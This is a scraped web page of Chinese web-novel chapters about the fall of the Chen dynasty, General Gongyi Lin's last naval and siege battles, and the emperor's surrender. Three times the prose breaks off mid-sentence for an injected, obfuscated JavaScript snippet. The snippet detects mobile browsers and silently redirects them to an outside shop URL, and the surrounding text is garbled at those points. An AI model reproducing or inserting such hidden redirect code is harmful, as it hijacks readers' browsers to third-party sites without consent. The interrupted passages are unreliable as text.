千越丢了剑,僵硬地摸向后背血淋淋的窟窿,沾了一手血,放到眼睛细细看了片刻,把最恨的眼神留给杨念,忽而虚软地倒下去。 杨念一脚踩碎落在地上的面具,众目睽睽之下抱起敌人的将领,把乌烟瘴气的疆场扫视一遍,目光终于锁定陈明聿,厉声下令:“活捉陈明聿者重赏。” 陈家兄妹心存殉国的死志,还怕什么死,陈明聿现在最不怕的就是死。 与他一起不怕死的将士抱着一种信念:能杀一个是一个,杀两个就算赚。 此次两军的对阵,是杨念从军十年来见过最血腥的阵斩,最绝境的反击。 从午时一直杀至申时,短短两个时辰,也是最难熬的两个时辰,直到陈明聿被擒,这场兵量也所剩无几的战事终于结束。 杨念一直未入战阵,在帅旗下冷静地看着陈军走向终结,他的心思放在身后昏厥过去的公主身上,还有陈明聿身上。 大陈显赫的二王被杨念俘虏,杨念却没露出一点情绪,尊敬地走到对手跟前,不等开口,陈明聿一把推开他走向陈千越,凝视公主片刻,突然从怀中掏出一把匕首朝她心口插下。 杨念眼疾手快,格挡他荒谬的一刀。 “疯子!”杨念暴起青筋骂道。 陈明聿幽魂似的咯咯冷笑几声,“没有王愿意向他人称臣,败就是败了,你不用跟我说宣扬周主大仁大德那一套,我死之后,希望将军能善待此地百姓,把我埋在武平公主身旁。” 那把欲杀公主的匕首坚定笔直地戳进自己心脏,毫不犹豫,杨念似乎听见一样他说不清道不明的东西裂开的声音。 他回看一眼静静昏沉的武平公主。 杨念半蹲在陈明聿身旁,俯身贴近他耳边说了一句话,只见陈明聿用最后一口气瞪大眼睛,不甘地盯着杨念。 杨念握住他冰凉的手承诺道:“你我虽敌对,请信我一次。” 或许陈明聿从他眼中看见了想要的真诚,头慢慢撇向陈千越的方向,终于散去瞳孔里的光芒,却又因小妹从此一人留在世上心有不甘,眼睛始终无法闭上。 自此,东扬州失守后,东扬州的水军全部望风而降。 向建康围拢的兵马又多了一路,周国海上待命的水师顺利从太湖的水网进入吴郡,不知不觉从后方捅了大陈的老腰。 179.亡国前的抉择 石头城这边,公仪林命人连夜打造金蛟一样的蛟龙舰,因其体积庞大,进度一直较为缓慢。与隔岸的元意对峙期间,两边发生几场规模不大的水上战事。 出动船只数量都很少,两方似乎都不愿透底,几回都是派了三四十艘战舰约在大江中央斗一回,解解心头之恨。 就是这几场战事,公仪林终于见识到陶修身上不畏死的胆魄,他看得心惊肉跳,瞠目结舌。 陶修一直以中流砥柱般的形象矗立在百姓心头,公仪林不知听过多少他的英勇事迹,听百遍远不如真真切切见上一回。 见过了才知道何谓天生神勇,何谓十八般武艺样样皆精,马背上能打,船上能打,连水里都游得像条江豚,老天就差给他生对翅膀。累也是真的累,精神高度紧绷,刀剑分毫不差对准敌人,铁打的人也累,人前永远是一副神采奕奕的样子,回到二人小小的室内才露出满身疲惫。 公仪林很享受他累极的时候从背后抱着自己的感觉,手臂在腰上环一圈,把头枕在背上,屋内安静温馨,大江上的兵荒马乱都隔绝在外,很快就听到他均匀的呼吸。 从两人在一起至今,这种安宁的时间太少,他不敢动,生怕给他惊醒了揉碎一屋子的静谧。 “周军就在对岸虎视眈眈,我们却在此偷取浮生半日闲,是不是有点过分?” “整日打来打去,这片刻的享受都不给,不如死了算了。”公仪林轻拍他搂在胸前的手,忽见陶修一个激灵跳起来,三五下把案上的笔墨纸砚铺开。 公仪林扶额无奈,终于忍不住抱怨:“赶走周狗后我打算在京城办一场书法赛事,力邀山南海北的青年才俊来参加,我要叫他们明白,甭管他们天赋多强,后天多努力,在我这麒麟哥哥跟前他们只配做驽马。” 陶修握笔的手顿了一下,当真畅想一把得魁首的场景,抿唇发笑,赞同道:“好主意,到时候可得给我开个后门。” 这十来日二人形影不离,从没想过战火下还能奢求到这份意外的安逸。 可惜,越是奢求的东西越是珍贵,越是一种心底的执念。 后来,往后的八年,公仪林常想起这段跟陶修浴血杀敌后难得的安宁光景,假如他知道这是和陶修最后的温存,他会如何选择,想过数次,答案只有一个,他会毫不犹豫带陶修向周狗投降。 两人在十月十四那日收到周军一路军从太湖直奔吴郡的消息,五雷轰顶,不单是敌军绕至后方突袭大陈,还因为陈明聿的殉国,以及,吴郡是他们二人自小长大的地方,坚守前线不就是为了后方还能维持基本的安稳吗,守护故乡,是两人共同的约定和目标,连吴郡都危如累卵,守在前线还有什么意义。 陶修和公仪林对面而跪,中间的小案几上放着吴郡的紧急文书,仅沉默一炷香时间就决策好下面的计划。 “现大陈全部精兵都调至江两岸,既然豫章王败了,吴郡的门户便已大开,”公仪林郑重地望着陶修:“光凭吴郡太守的几千兵能坚守多久,陶将军,吴郡存亡就靠你了。” “要我何时出发?” “我只能给你一万水军,加上你从京口带来的五千,吴郡能否保住全系于将军一人。” “我现在就点军出发。” 船队已准备妥当随时出发,公仪林给陶修系上御寒的披风,把他腰间的红绸重新系过,双目凝重地望着他:“康乐,大陈气数已尽,我不过在尽臣子最后的忠心,尽力而为,至于结局我不敢与天抗,你到吴郡后万事随机应变,不必强行难为之事,”公仪林把他的双手握在掌中,字字艰涩:“实在势穷力竭无力相争,就降吧,哥哥,我希望这场战事之后能见到全须全尾的你,不要太拼命。” 陶修反握他的手,郑重点头。 公仪林勉力一笑:“等战事结束,你就来我身边再也不走了行不行?我跟你去玉河村圈一块地,在上面种点什么。” 陶修一本正经地问:“种点什么?” 离别在即,还能淡定认真地反问,公仪林果真被难住了,种在地里的五谷杂粮让他说出个理所当然肯定是不行的,“这个你来操心。” “嗯,你要保重,那我走了。” 公仪林转身朝陶修身后的胡峤行了大礼,“胡峤,陶将军就拜托给你了。” 从未受过士族子弟大礼的胡峤挺挺腰背,还礼道:“公子放心。” 船舰随波东去,陶修立在船尾的身影渐渐变小,看不清,直至最后一艘船消失在视野。 这是公仪林见陶修的最后一面,后来,在海晏河清的盛世下,他常自省这一日的决定有什么意义,他派陶修去守护吴郡到底换来了什么? 十月十七的平明,一个部下匆匆敲开公仪林的门,惊慌地禀报:“右卫将军,周军的战舰正往此驶来,很多,很多……” 公仪林穿上铠甲,提起宝剑就赶去江边。 此生大概不会再看见比今日还多的船舰了,大小船只铺天盖地,蔚为壮观,周军领航的木蛟、水蛟、火蛟昂然屹立江心,锐不可当。 石头城的布防进入最严的防御级别,全民应战。 公仪林登上金蛟还未发出号令,又有探子带来致命的消息,京口全军覆没,卢思苌战死,大批战舰正逆流而来。 怪不得他们今日会全部动兵。 公仪林闻变不惊,只是靠在船壁上喘了口气,闭上双目冷静一瞬,再睁眼时,立即对陆颢下令,让其领马步兵在岸边守着,他则和孙栖寒及几位大将从江上出击。 一系列安排吩咐下去后,让人把此消息带回给蒋授,做最后安排。 这时,又有部下来禀:“将军,来了三位先生,自称是将军的师父,在外等候。” 三位师父年纪不一,兴趣不一,有时为争夺这徒弟的“宠爱”时还会互相看不顺眼,今日,他们身着简单利落的短衣,配长剑,以相同的目的出现在大营。 公仪林在看见年纪最大的葛师父时,鼻子和嘴哆哆嗦嗦,险些哭出声,多日来戍守江边的压力和紧张无人可诉,在师父一脸的褶子里,他看见一种无可言喻的慈爱。 师父用苍老却沉稳的声音安慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209772|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他:“乖徒啊,快起来,为师今日和你另外两个师父来助你。” 三位师父围着这人高马大却也年轻才能扛事的徒弟,在他身上左摸一把,右摸一把,安慰他:“有三位师父撑腰还怕什么?今日这战若胜了从此你就出师,京城的安危都系于你一身,还落泪哭鼻子,成何体统。走,带我们去熟悉战场。” 那艘还没来及造完的蛟龙舰就停在江边,半成品,在风浪中摇摇欲坠。 公仪林再将登舰时,那禀事的部下又来了,“右卫将军,中书监公仪大人来了,就在外面等将军去见。” 公仪达是孤身而来,骑一匹快马,这么大年纪还骑马来,公仪林很好奇他此来的目的,更难得一见的是大伯今日居然身穿轻薄的铠甲,把岁月无情地挤出的肚腩硬是给塞进了结实的铠甲里,公仪林从这身装束下还能窥探他昔日叱咤疆场的英姿。 “看着我。”公仪达的面孔依旧威严,说一不二。 公仪林直直地盯着他,他要听听从他一直敬仰的大伯口中会说出什么惊世骇俗的话。 “陆家的陆子纶,周家周燃都找过我。” 公仪林微颤,稳住渐乱的心。 “他们跟我说,若大势已去,为何不审时度势做最佳的抉择?你以为如何?” 公仪林反问:“大伯如何答复他们俩家?” “我就穿着现在这身衣裳在两个老头面前转了一圈,留他们在厅里喝茶后就借故来此看看你。” 公仪林心领神会,点头道:“我知道该怎么做,回去吧,在府中等我消息,不,大伯还是去趟宫里,圣上忧心忡忡多日,最后关头想见的必是坚定护卫在他前面的大臣。” 公仪达在侄子肩膀拍了两下,叹口气说:“必须做出抉择的岔路口一生遇到一次就够了,年轻时我选择了大陈的开国之君,没想到都五旬之人了还会遇到第二次,够了,不想再折腾,此前我一直瞻前顾后不敢跟你开口,直到今日周燃下了马车出现在我门前,我才看清摇摆不定的士族有多可恶。你从当上右卫那刻起就该清楚今日的境地,公仪家往后如何就看天意吧。我的话已带到,接下来的事全靠你。” “有大伯这些话,侄儿甘愿为圣上肝脑涂地。” “我不是来逼你死,而是让你明白为臣者的忠义,尽力而为。” 公仪林又一次登上金蛟,确定没有人再找来时,终于对水师发号施令。 此刻,日头爬上三竿,天地通亮透彻,大江波光潋滟,水面往上冒着说不出的水腥气,好闻也令人心情舒畅。 一声战鼓,把眼前晴朗平静的秋日震得粉碎。 大陈历年来最精锐的水师和周国新兴的水师终于在浩荡江面上开战,也是最后一战。 公仪林杵在偷抢来的金蛟上指挥,仗着它庞大的体型闯进敌阵,六架拍竿此起彼伏,轰隆有声,报复性地对敌人船只猛砸一通,弓弩手居高临下射击敌人,两军的艨艟彼此撞击,小型船上的将士或用弓箭或直接跳到对方船上,什么爹生娘养的,此刻都是刀下魂,江上尸,无人怜悯。 180.此夜真漫长啊 公仪林的庞大船舰正面攻击周军,孙栖寒则绕开一段水域从后方袭击敌人较小型的船只,收获也颇丰。 都督周军水战的是元墨和贺功臣,两人配合得天衣无缝,一人在水上与陈军纠缠,一人则用蛟龙舰不停往江岸输送兵力,从秦淮河入江口登陆,精兵猛将,很快就冲破河岸打下的栅栏。 陆颢帅军杀退几波人马,在数倍于陈军的兵力之下,他实难抗住周军潮水似的猛扑。 两军从巳时一直战至申时,日薄西山,思及天黑之后对地形不熟,贺功臣挥下战旗,数万人马再次踏上大陈的疆土,气势磅礴,地动山摇。 公仪林的水师把敌人打的七零八落,但五六万人的兵力岂能抵挡敌军二十万。他立在金蛟上再从容指挥,但环顾烟气渐渐笼罩的江面,绝望,满眼都是绝望,残船断木,死尸横江,面对残暴之众,将士的脸上全是僵硬而死气的反抗,没有捍卫疆土、保护妻儿的狠劲和蓬勃气势。 这艘偷来的金蛟成了众矢之的,他是引领此战坚持下去的最重要将领,矗立船首的身影早就威胁到元墨。 马步兵都已抵达对岸,元墨终于抽出空隙对付这个企图挽住狂澜的年轻人,冷静地下令:“用蛟龙撞上去,就像半个月前他们撞击土蛟一样。” 有人向公仪林禀报战事开始进入困境:“右卫将军,弓箭已用完,一根也没有了。” “金蛟上的巨石也用完了,金蛟的威力大减,请将军迅速离开此船。” “我们的船只损失惨重,将军,把阵地转移到岸上吧,陆武卫就守在城门前。” 公仪林紧抿嘴巴,江风把一身汗吹得冰凉冰凉,水军的惨状不忍直视,岸上的陆颢也快坚持不住,他决定弃船上岸。 这时,六艘艨艟齐齐朝这边撞来,看架势是下了血本要同归于尽。公仪林看见火蛟上的元墨,淡定又冷峻,天生一张将军脸,天生一股会打仗的傲性,公仪林恨之入骨,真想跳过去杀了他,如此近的距离,换作陶修,一定能把周国的二殿下给抓了活的。 公仪林抽剑指向元墨,用唇语向他传达势不两立的决心。 六条船撞击的威力震耳欲聋,公仪林在隆隆轰轰的震动下头晕脑胀,几次站不稳,将士们纷纷跳江保命,呼喊将军同他们一起。 船在人在,金蛟在敌船围攻下开始变形,大水汹涌漫进船舱,他不知较什么劲,背靠船壁不动,死盯暮色下茫茫泱泱的江面,似所有希望皆随波东流。 大船倾斜、翻倒,冰凉的江水把他淹没,就这么死了倒也挺好。 孙栖寒亲自把公仪林从水里捞起来,不住地痛骂:“要绝望就等周狗的刀架在脖子上再绝望,现在你得给我活着。” “阿八,跟随陶修去吴郡的一万水师,全军覆没了,你知不知道?” “信使带来卢将军战死消息那一刻我就知道。我也知道你想说什么,没时间给你儿女情长,你得站起来把这场仗打完了再殉情去。” 难怪听到京口失守消息时这人无动于衷,还能从容下令应战,原来早就不想活了,孙栖寒把他从水里弄上岸,趁着夜色掩映退回石头城。 白日一场喧嚣因夜幕降临暂时安静,万籁俱寂,连江水都平息无声。 公仪林坐在主位听四面八方汇报来的军情,事无巨细,一点不落听在耳中,不给自己一点分神的机会。 驻扎在玄武湖边的蒋授勉强击退周军、钟山已被敌人占据、贺功臣和元墨被阻挡在城外,没有一点好消息。 尤其贺功臣的大军,似藏在黑暗里捕食的猛兽,一旦破晓,它便机警地一跃而起。 巡逻大营期间,入耳皆是士卒谈论敌人数量的糟心话,公仪林不得不下令禁止攀谈。 半夜时分,公仪林带上几名护卫回了一趟宫城。 大陈至高无上的帝王,在灯火通明的大殿里失魂落魄,歪靠在御案旁不肯起来,似累,似怕,不能上阵的文官有半数陪着君王静坐,大殿悄无声息,死气沉沉。 那不曾到此的另外半数,便是公仪达口中风向不定的世家贵族和官员。 公仪林进殿时带来一阵低压的狂风,众人悉数围拢过来,七嘴八舌询问城外的战况。 他推开人群径直走向陈主。 陈主在做太子时就爱读读书、听听民间故事,做了皇帝后兴趣不减,平添一个溺于酒色的爱好,他对国家无功,但也没有太大的过,称不上暴君或昏君,顶多算个有自己喜好的庸君。 亡国之君虽可怜,但他承其高位就必要付出相同的代价。 放在这群人当中甚至都不起眼的帝王,瞧给这场国难吓得,哆哆嗦嗦爬起来抓住将军的手就问:“景风,外面战事如何?” 目光朝下转移,如果公仪林一身的血迹还不能说明问题,那他就是蒙蔽双眼欺骗自己,脸色当即黯淡一层,“连爱卿都亲自上阵,大陈休矣。” “陛下,臣定会尽全力死战,即便城破,臣也会先死在陛下前面。” “好,好,好啊——”陈明俨松开将军的手,明明才三十冒头的人,走起路来却如枯木朽株,歪歪斜斜又走回御案旁蹲了下去。 这时,有人高声说道:“敌军近三十万合围在四面,而我军只有不到十万兵,陛下,并非老臣贪生怕死,若陛下肯面缚衔璧、投降请罪,不但性命得保,还可保全黎明百姓。我尝闻周主是个圣明贤君,虽有吞并八荒的野心,却无加害亡国之君的暴戾,愿陛下认真思虑老臣的话。” 大殿肃然无声,藏在墙角的蛐蛐突然不合时宜的发出几下悲鸣。 讲这番话的只有一张口,在场数百人却无一个跳出来反驳,便意味着无数颗心脏被击中。 呲拉拉的拔剑声打破僵寂,公仪林把剑狠狠插进大殿的地缝里,砖面随之裂了几道纹,把汲汲求生的一张张脸都扫过一遍,“将士在前方奋勇杀敌,你们这些老而无用的老贼却在陛下面前劝降,再有言降者,休怪我手中的剑不认人。” 而后又是陈颛夺了那剑欲自刎,阻止众人再提投降一事。 但投降的话头一起,谁都不怕了,有人向陈主提议,即便不敌周军不愿投降,也该高坐宝座从容不迫见敌寇,维护帝王最后的尊严。 大殿里突然就热闹起来,各自为陈主出谋划策,为他找条光明坦荡的活路。 忽听一声如雷的怒吼,“住口!” 众人循声回头,见陈主搂着一个才及腰的小孩,全身簌簌发抖,他什么话也没说,抱起小太子转身离开了太极殿。 今夜漫长啊,公仪林彻夜不眠,盯着西方最亮的星,一盯就是两个时辰,没有困意,精神格外充沛,脑子里一点不敢有陶修的影子,怕撑不住。 一万人全军覆没,陶修那一仗打的究竟有多惨烈才致使一个活口都不剩。 陶修是死是活他一点消息都没有,如此境地更派不出人搜寻他的下落,吴郡在敌人铁蹄下能撑几天,满城百姓是否遭受屠戮? 大难来临,才实实在在明白个人的力量多渺小。 陆颢朝他走来,不敢脱下的铠甲咔哒咔哒有节奏的响,哐当一声坐了下来,足足三百斤的重量。 公仪林笑笑,问他:“这么怕死,都不脱?” “脱了再穿麻烦,反正就这几天的事。见过圣上了?他有没有说什么?” “圣上才是最难过的那一个,接下祖宗这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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葛师父、丁师父、韦师父来见过徒弟后,带上自家的百十成年男子赶到秦淮河岸的布防点,午后未时就传来他们全部战死的消息。 公仪林从平明已战了近四个时辰,无暇替他们悲伤。 卯正时,玄武湖蒋授兵败被俘,周军势不可挡涌到宫城之外。 辰时,守在东篱门的陈明健不敌周军,战到仅剩三百人时终于投降,投降之前对谋士田敬说:“那个无能的废物,当初只差一点,若成功,怎会有今日之祸?” 至申时,捍卫京城的最后一支力量还不肯投降,牢牢守住石头城,个个宁死不屈。 贺功臣在楼下亲自对公仪林喊话:“宫城已被围得水泄不通,小将军何故坚持?”每隔一刻,贺功臣就向城内的人汇报皇宫的最新境况。 “南篱门被围,百官府邸皆被我军控制,大街上已没有人迹。” “皇宫有不少的人系绳爬了出来,据说有你们江南六世家之一的周家。” 贺功臣让人把消息一点一点传进城内,循序渐进,步步紧逼,还在坚守的将士几乎有大半的亲人都在城内,这些话极其摧毁意志,一时间城内阴云遍布。 公仪林下令:“挑最好的弓箭手,城下再有传话者,一律射杀——” 半个时辰后,元墨出现在城下,此人一身精铠,魁梧雄壮,即将拿下建康的硕果更给他脸上添了股志得意满的神采。 元墨两臂抱在怀里,勾动手指,立即有一人被推至军前,那人被五花大绑,身形勒的瘦弱纤细,面孔苍白,不肯正面城楼。 周军硬是把他掰过身子,并朝楼上叫嚣:“看看此人是谁?” 181.战城南死郭北 看清那人面孔之后,将士们窥见公仪右卫的脸,从上看不到任何表情,就见他目光直直地盯着楼下,很长时间没有动弹,直到楼下的人主动喊话:“槐序,你常取笑我拿不动剑,刚才我就用你赠我的剑杀了四条狗,痛不痛快?” “他们要拿我要挟你,甭管他们,不要开城,大陈的脊梁硬着呢,他们以为他是谁啊,想捏死谁就捏谁?” 公仪林拉开弓箭,对准絮絮叨叨的公仪鸾。 “周狗杀了公仪白鹤,大府也被糟蹋的不成样,族人都被控制,父亲还在宫里,槐序,就是全死光了都不要降他们。” 元墨让人打烂他的嘴,公仪鸾用鲜血淋漓的嘴继续倔强:“妈的,我恨这些畜生,你杀,你就杀,把我也杀了,免得受辱。” 拽弓的五指很稳,胸腔的心脏也很平静,原来面对生死抉择,人能把自己克制成这副模样。 楼下的声音聒噪不休,公仪鸾狼狈不堪,没有一点他平日偏偏娇公子的举止。 敌人又将一棍朝公仪鸾身上抡的时候,弓箭“嗖”一声破空而出,弦声嗡嗡,公仪林憋了许久的气终于喘出来。 “二殿下中箭,快传医工,快叫——” 自十六岁进东宫习武开始,至今六年多,公仪林未曾放出过这么精准的一箭,开弓力气之大,射程之远,目标精确,就算陶修在这里也不过如此吧。 这一箭,也给公仪鸾带去灭顶之灾,他被乱棍打的一塌糊涂,那么好的皮囊千疮百孔,像条淋了雨的狗给丢弃在江边。 元墨受伤退回大本营,出来的是更狠的元意,文质彬彬的脸下是藏得好好的阴狠,他拉出来的不是一个人,是一排人,是从江南几个大族里挑出的佼佼者,也有城中将士们的高堂或妻儿。 深秋的落日没那么炙热,远山林木被暮色镀了层金色,秋风的凉意很大,城内还有不到五千人,他们盯着城楼上一动不动的公仪右卫和陆武卫,猜不到那二人在想什么,有一炷香的时间,二人动都不动。 元意让人把被俘的人带到楼下一个一个地杀,断掉的头颅还热气腾腾。 公仪林发现两个时辰前就战死的三位师父死的也挺好,看不见眼前的血腥,也看不见徒弟煎熬的模样。 “陶康乐,当初江陵城破灭时,你的心也这样痛苦吧?” “不对,死在你跟前的皆是你最亲的人,我的选择比你简单的多,只需一句话就能结束这一切。” “但宫城苦苦挣扎的陛下,此刻为他战死的大臣都没有,这怎么能行?” 杀人的把戏给元意看得乏了,那双干净雪白的鞋履踩上殷红的土壤,白衣在秋风下偏偏飞扬,长身玉立,身后是他的千军万马,此人气度说不出的盛气凌人,简直傲睨天下。 “我的忍耐有限,大功将成,这最后关头难道小将军无一点体恤怜悯之心?非得把你们这些家族的元老斩杀殆尽才肯服软?听说,你和你哥手足情深。” 绝境之下,人的潜力能超乎自己想象,连冷酷也变本加厉,公仪林站在城墙的垛口,伸手碰了下铠甲下僵硬的心,就算元意把公仪檀带到面前,他的箭也照射不误。 落日的光芒从西山照射整个石头城,给城楼上一左一右两个将军的身上披了层金,他们逆着光,俯视城下,令众人不能直视他们面孔。 天顺六年十月十八这一日的落日美得炫目,夕阳是橙红的,建康城的屋脊也是橘红的,远山的绿、红、金交叠着染色,穿梭在街道上抢夺财物的敌军被夕阳的柔光包裹,满面戾气带了点通红的温度,兵器不再森寒,元意的一身白衣也透着淡淡的粉。 可是绝望啊,绝望!!深秋不该是登高望景之时吗?深秋该是沿着江边策马狂奔之时啊,这一年的光景真的太过漫长! 下一个被砍头的是陆子纶,老头伸长脖子对陆颢下令:“吾儿,为父骗你的,不要降,不能降。” 陆颢终于转过身,迎着半山腰刺眼的夕阳,睁大眼睛。 “陆武卫,杀出去,死也该是我们这些年轻的先死。” 陆颢迅速跑下城楼调整人马。 沉重的大门缓缓开启,橙红的光芒从内/射出方形光柱,门内走出两匹瘦长马,影子拉得很长很长,快要触及元意的脚背。马背上两个将军手提长枪,皆褪了铠甲,仅穿一件薄薄的常服,衣袖束的整齐有力,一步一步走向元意。 贺功臣拦在前面,拱手道:“公仪公子,三年前我说过,我们终有在疆场上碰面的一天。” “这话你对陶修也说过,毫无诚意。”公仪林把枪尖指向元意,不容置疑地对贺功臣说:“把你们俘虏的人都放了。被困城内的将士皆愿破釜沉舟与你一战,周国太子在我石头城的范围之内,即便强弩之末我也有办法让他有来无回。” 陆子纶捡回了一条命,跟着成百成百的俘虏一起被押了下去。 鼓声躁动,这将是大陈最后一战。 贺功臣清楚自己会胜,但也明白此战将是最棘手的阵斩,是大陈最歇斯底里的报复,也是他们最硬的骨头组成的一支队伍。 元意的嗜好,永远是衣不沾尘地看人厮杀。战阵里左支右绌的年轻将军越是惨,他在看台上越是好整以暇,并非杀人取乐,而是这块疆域上的硬骨头必须整治整治,不服的人他要杀一杀。 倘若这里有人六年前见过阵中的年轻将军曾被自己左脚绊右脚弄跌倒的场面,一定会唏嘘他现在脱胎变骨的变化,是种置性命于不顾的疯狂模样,临死前的反击,他早就力竭了,不知哪来的恨意支撑着他在敌阵里来回冲突。 他还在力挽狂澜,不肯投降,在为大陈帝王展现有死无二的忠诚。 远处几匹快马疾驰而来,烟尘在其身后跋扈飞扬,一道降书突然终结了他的这份决心。 元意览过大陈君主亲笔写的降书,让贺功臣对几位不甘的将领高声诵读,公仪林听到天子奉上玺绶跪于宫门旁时,憋在心里的痛与恨终于呕成一口血吐出来,晃晃悠悠栽下马背。 没了,最后什么都没了,国没了,天子没了,家没了,心底最不敢提起的人也没了,公仪林努力盯着坠下远山的夕阳,眼睛渐渐空洞失焦,视野一片朦胧,黑夜骤然扑面而来。 公仪林在肮脏的牢笼里昏迷一整夜,无人问津,任由他被喉咙的血呛了一次又一次。黎明时他悠悠转醒,浑身酸疼,轻些的伤已经结痂,重伤的地方动一动还流血不止,他爬向牢笼边伸手要水喝,看守俘虏的狱卒一脚踢断那只手,恶狠狠说:“二殿下险些死在你手里,还想喝水。” 公仪林撑坐起来,抱着断手倚在木栅上凄凉的发笑,笑自己终于躲过陈主跪在地上向人称臣的场面,昏迷的这一夜,宫城发生了什么他眼不见为净,陈主今后的死生和他没有关系,公仪家能不能从这场劫难里活下来都无所谓。 心灰意冷成这样居然还想喝口水,他把头埋在腿上又笑了一阵。 牢笼的锁链突然打开,两个人挤进来把公仪林拖出去,并清楚地告知他接下来要去的地方。 整整一夜啊,曾经大陈的帝王在宫门前跪了整整一夜,带着不足百的文武百官跪成一片,元意才不紧不慢出现在这帮投降者面前。 公仪林和陆颢这些打了败仗的武将被迫押在队伍前,逼他们看大陈的君主受辱,看他如何从至高位置跌落尘埃,连个平民百姓都不如,用只跪拜天地的双膝跪了整整一夜,平日的威严荡然无存。 臣子之于帝王,或许只是一样有用的东西,反之,帝王何尝不是臣子精心呵护起来的精致物件,它有威严,高高在上不容亵渎,如今,这些周狗干的是什么事? 公仪林瞪大血红的眼睛,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14232939|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光从陈明俨身上转向志得意满的元意,胸腔的恨意烧得他无法喘息,猛然挣脱困住他的两个侍卫,朝元意扑去。 那股视死如生的劲头才跑四步,就被绷紧的脚链扼住,怒火全都随着沉沉一跤摔进土里,他抬起鲜血淋漓的脸大骂元意,用他今生只听过未曾实践过的污言秽语大骂周国太子,把过往的世家公子形象撇得干干净净,像一个骂街的疯子,整个宫门前充斥他刺耳的辱骂,把对号入座的人骂的羞愧满面,把缩手缩尾言降的旧臣骂的痛哭流涕。 元意充耳不闻,缓步走向陈明俨扶起他,搀着他的手走进太极殿。 陈国的万里江山都随着陈明俨对元意的俯首帖耳完全结束了,化为乌有。 走了几步的元意突然回头,对贺功臣说:“留他一命,给他一月考虑时间。” 公仪林像条丧家之犬被踢出宫门,晃晃悠悠出现在大街上。 建康遭受这番劫难,处处支离破碎,过往百官爱逛的清明街被烧一半,尽是残垣断壁,公仪林发现经历两次战火的要和酒楼又一次安然无恙。 刚得胜的元意为奖励将士们的功劳,并未明令禁止他们的抢掠,朗朗乾坤下到处都是周人猖狂的嘴脸。 卖炒栗的老板认出公仪林,抱着最后的财物向他求救:“公子,快阻止这帮人,救救我们呐。” 公仪林颓废的双眼陡然亮了一瞬,在腰间摸一把,没有剑,没有腰牌,也没了一呼百应右卫身份。 眼睛又倏地黯然下去,把光顾数次的炒栗店丢在身后。 他漫无目的,游荡在京城的各个角落,走过遍地狼藉的延熹门,走过舟楫横陈的秦淮河,和来不及收拾遍地死尸的清凉山,最后他站在禅灵寺外,仰望高耸的宝塔,塔铃在秋风里清脆悦耳,和陶修定终身的银杏树又黄了枝叶,绑在枝丫上的红绸饱含无数男女的殷殷期盼,他们都实现祈愿没? 一个小和尚发现院外这怪物,被他满身的血吓得直往里面跑,边跑边喊师父,公仪林真希望那小秃驴能把辛南佐给叫出来。 他跪在大殿的佛祖前干巴巴的仰视,没有许愿,也不是诉屈,只觉得膝下蒲团这一方天地有些安宁,他蜷缩在地上不许人靠近,睁着双眼熬着漫长的时辰。 心口这疼痛是因为国亡了吗?没有,若是那人能在身边安慰他,给他一个适中的建议,这国亡了就亡了吧。 是痛公仪家被毁了吗?也不是,那片对着周国太子跪拜的朝臣中,也跪着公仪达,大伯他天生有股神力可以挽救公仪家的颓势,只是时机不对,想要光复门楣还需等待时日慢慢讨好新的君主。 可这心里到底因何而痛? 公仪林突然从地上爬起来往石头城跑,昨日他亲眼看见周人把公仪鸾丢在江边,生死不明。他赶到江边时已落日西下,江岸的收尸人把一具一具尸体叠放在车上。 战城南,死郭北,野死不葬乌可食,朝行出攻,暮不夜归!① 这些战死的将士,怎能献出性命还像段枯木一样被随意丢弃、掩埋,谁又在乎他们活着时的鲜艳色彩和嬉笑怒骂,他们与猪狗无异,形同草木,苟活多年就为赴这一天的死。 公仪林跟在收尸人后面翻开一具具僵硬的尸体,被重伤和高热折磨的浑浑噩噩,他有些撑不住,最后被狂劲的江风吹晕在岸边。 再睁开眼又是晨光温柔的一日,他爬出尸堆,周军用长矛抵住咽喉问他是什么人? 公仪林头疼欲裂,茫然自失,片刻后他笑问对方:“我是什么人?我现在算是周人吗?” 长矛差点刺下去,另一人阻止道:“战事都结束了,不要乱杀人,放了他吧,万一他是个人物怎么办?” 公仪林仰头哈哈大笑,从地上捡起一根短戟,一瘸一拐走了。 身后那人嘲讽道:“就他也能算个人物?” 182.皆是过眼云烟 城里的秩序有所恢复,该死的都已赴了黄泉,该抢的也满载而归,公仪林顶着一身落魄回到绒华院,落入眼底是门上刺眼的封条。 他踢开大门,满院全是被抄被抢后的狼藉。 装过阿九的鸟笼踩碎在廊下,几只鸟不见了,一院子的花草踩乱拔尽,有焚烧过的痕迹。 他在凌乱的杂物里找到一尊木雕,是十一岁正式认识陶修时他雕的跳水少年,这些年一直放在书房的架子上不许人碰,他所珍重的东西在别人眼里一钱不值,精心呵护的院子再无往昔的热闹,一院子的回忆啊,全都毁于这场战火。 公仪林坐在绒花树下,拿着木雕静静地流泪。 